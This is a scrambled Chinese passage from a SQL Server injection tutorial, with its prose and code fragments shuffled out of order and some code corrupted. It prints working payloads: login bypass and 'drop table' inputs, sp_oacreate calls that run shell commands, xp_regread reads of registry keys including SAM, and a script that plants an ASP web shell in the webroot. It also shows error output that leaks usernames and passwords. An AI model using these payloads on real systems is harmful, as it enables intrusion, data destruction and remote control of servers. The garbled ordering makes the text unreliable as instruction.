exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’

exec
xp_regread
HKEY_LOCAL_MACHINE,’SYSTEMCurrentControlSetServiceslanmanserverparameters’,
‘nullsessionshares’

  本质上,如果一个有参数的查询被执行
,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。

  Xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:

  方法三——只允许正确的输入

  2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统权限运行的)

Username:’ or 1=1—

<BODY bgcolor=’000000′ text=’cccccc’>
 <FONT Face=’tahoma’
color=’cccccc’>
  <CENTER><H1>Login</H1>
  <FORM action=’process_loginasp’
method=post>
   <TABLE>
    <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100
width=100></TD></TR>
    <TR>
     <TD>Password:</TD><TD><INPUT type=password
name=password size=100 withd=100></TD>
    </TR>
   </TABLE>
   <INPUT type=submit
value=’Submit’><INPUT type=reset
value=’Reset’>

Username:’;drop table users—
Password:

  如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符,密码也被限定16个字符,那么下面的用户名和密码结合将会执行上面提到的shutdown命令:

  然后将下面的用户插入到users表中:

  淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:

Sp_addextendedproc
‘xp_webserver’,’c:tempxp_foo.dll’

insert
into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)

  下面是process_login.asp的代码,它是用来控制登陆的:

  一旦攻击者确定了用户名,他就可以开始收集密码:

  另一个有用的内置存储过程是xp_regXXXX类的函数集合。

  第三种情况可能是三种中最好的,但是很难实现。

scripting.filesystemobject example – create a ‘run this’.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ‘scripting.filesystemobject’,@o out
exec sp_oamethod @o,’createtextfile’,@f
out,’c:inetpubwwwrootfoo.asp’,1
exec @ret=sp_oamethod @f,’writeline’,NULL,’<% set
o=server.createobject(“wscript.shell”):o.run(request.querystring(“cmd”))
%>’ **

  Xp_availablemedia 显示机器上有用的驱动器
  Xp_dirtree 允许获得一个目录树
  Xp_enumdsn 列举服务器上的ODBC数据源
  Xp_loginconfig Reveals information about
the security mode of the server
  Xp_makecab
允许用户在服务器上创建一个压缩文件

  为了给攻击者更多的困难,有时输入数据的长度是被限制的。当这个阻碍了攻击时,一个小的SQL可以造成很严重的危害。例如:

/process_login.asp,
line 35

create
table foo( line varchar(8000) )

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘: admin/r00tr0x! guest/guest chris/password fred/sesame’ to a
column of data type int.


  出现问题的地方是process_lgin.asp中产生查询语句的部分:

Select
id,forename,surname from authors where forename’john’ and
surname=’smith’

  这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

  [使用bcp建立文本文件]

  造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行’hn’,但是失败。如果攻击者提供特别的输入如:

Surname:

  [输入验证]

   a.确定你所使用的网络库是可用的,那么使用”Network Utility”

  比较好的常规的标准是: